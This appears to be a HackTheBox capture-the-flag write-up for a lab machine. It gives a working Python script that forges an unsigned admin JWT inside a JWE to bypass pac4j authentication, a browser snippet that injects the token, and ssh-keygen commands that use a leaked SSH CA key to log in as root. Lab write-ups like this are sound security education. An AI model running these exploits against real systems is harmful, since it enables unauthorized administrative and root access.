HTB Write-up: Principal
Difficulty: Easy
1. Reconnaissance
I started with a full TCP port scan to make sure no service was missed:
nmap -p- --open -sS --min-rate 5000 -vvv -Pn 10.129.244.220 -oG ports-p- scans all 65535 ports instead of the default top 1000.
--min-rate 5000 speeds up the scan by forcing Nmap to send packets faster.
-Pn skips host discovery (ICMP ping), which is useful since HTB machines often block ICMP.
-oG saves the output in grepable format for easy parsing.
Once I had the list of open ports, I ran a version and service detection scan against them specifically, to identify what was running on each port and look for known vulnerabilities tied to specific versions:
nmap -p22,8080 -sCV 10.129.244.220 -oN services2. Enumeration
Among the open ports, port 8080 stood out and was running a web application. While enumerating it, I identified that the application was using the pac4j security framework.
Digging further through the browser’s DevTools (Sources/Network tabs), I found a client-side JavaScript file that referenced how the application handled JSON Web Tokens (JWT) for authentication — specifically, it revealed that the app relied on an encrypted JWT (JWE) scheme and exposed the endpoint used to retrieve the public signing/encryption keys (JWKS).
3. Exploitation
The version of pac4j in use is affected by CVE-2026–29000, which allows an attacker to bypass authentication entirely and forge tokens with administrator privileges.
Get PELURED’s stories in your inbox
Join Medium for free to get updates from this writer.
pac4j wraps its session JWT inside a JWE (JSON Web Encryption) envelope for confidentiality. The vulnerability is that when the server decrypts the JWE, it does not properly validate that the inner JWT is actually signed. This means an attacker can:
- Craft a plain, unsigned JWT (
"alg": "none") with arbitrary claims, such asrole: ROLE_ADMIN. - Encrypt (not sign) that JWT using the server’s own public key, which is exposed via the JWKS endpoint (
/api/auth/jwks) — this is possible because JWE only requires a public key to encrypt, no secret is needed. - Submit the resulting JWE token to the application. Since the server only checks that the token was encrypted with its key (and never validates a signature on the inner JWT), it accepts the forged claims as legitimate.
In short: the confidentiality layer (encryption) was mistaken for an authenticity guarantee (signature), which it is not.
Building the malicious token
I wrote a Python script to automate this process (remember to replace the target IP):
#!/usr/bin/env python3
import json
import base64
import time
import requests
from jwcrypto import jwk, jwe
def b64url(https://medium.com/data):
"""Convierte bytes a base64 URL-safe sin padding"""
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def create_plain_jwt(username, role):
"""Crea un JWT sin firmar (alg: none)"""
header = {"alg": "none", "typ": "JWT"}
claims = {
"sub": username,
"role": role,
"iss": "principal-platform",
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}
return (
b64url(https://medium.com/json.dumps(header,%20separators=(",",%20":")).encode()) + "." +
b64url(https://medium.com/json.dumps(claims,%20separators=(",",%20":")).encode()) + "."
)
def build_jwe(plain_jwt, jwks_key):
"""Envuelve el JWT sin firmar en un JWE cifrado"""
public_key = jwk.JWK.from_json(json.dumps(jwks_key))
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"cty": "JWT",
"kid": jwks_key["kid"]
}
token = jwe.JWE(
plain_jwt.encode(),
protected=json.dumps(protected_header)
)
token.add_recipient(public_key)
return token.serialize(compact=True)
def main():
# Configuración manual
JWKS_URL = "http://IP:8080/api/auth/jwks"
USERNAME = "admin"
ROLE = "ROLE_ADMIN"
print("[*] Fetching JWKS...")
jwks = requests.get(JWKS_URL).json()["keys"][0]
print("[+] Public key loaded")
plain_jwt = create_plain_jwt(USERNAME, ROLE)
print("[+] PlainJWT created")
malicious_token = build_jwe(plain_jwt, jwks)
print("\n=== Malicious JWE Token ===\n")
print(malicious_token)
if __name__ == "__main__":
main()Running the script returns the forged, encrypted admin token:
Injecting the token
With the malicious JWE in hand, I opened DevTools on the target application and manually set it as the session token before navigating to the dashboard:
const token = 'TOKEN';
sessionStorage.setItem('auth_token', token);
window.location.href = '/dashboard';This worked because the frontend simply reads whatever token is stored in sessionStorage and trusts it — since the backend never validates the inner JWT's signature, the forged admin token is accepted.
Once inside the dashboard as “admin”, I found SSH credentials stored in plaintext within the application.
Using these credentials, I connected via SSH and retrieved the user flag.
4. Privilege Escalation
While enumerating the filesystem, I found an SSH Certificate Authority (CA) private key located at /opt/principal/ssh/ca. This is significant because the host's SSH daemon was configured to trust certificates signed by this CA — meaning anyone holding the CA private key can mint a certificate authorizing login as any user, including root.
[photo showing README.md reference to CA usage]
The exploitation steps were as follows:
IN /home/svc-deploy
# 1. Generate a fresh SSH keypair to be certified
ssh-keygen -f mykey -N ""
# 2. Copy the CA private key locally
cat /opt/principal/ssh/ca > ca_key
chmod 600 ca_key
# 3. Use the CA key to sign our public key as a certificate
# identifying us as "root", valid for 1 hour
ssh-keygen -s ca_key -I "root" -n root -V +1h mykey.pub
# 4. Authenticate using the signed certificate
ssh -i mykey root@localhostSince sshd trusts certificates issued by this CA, the signed certificate is accepted as valid proof of identity for the root user, granting a root shell and the root flag.









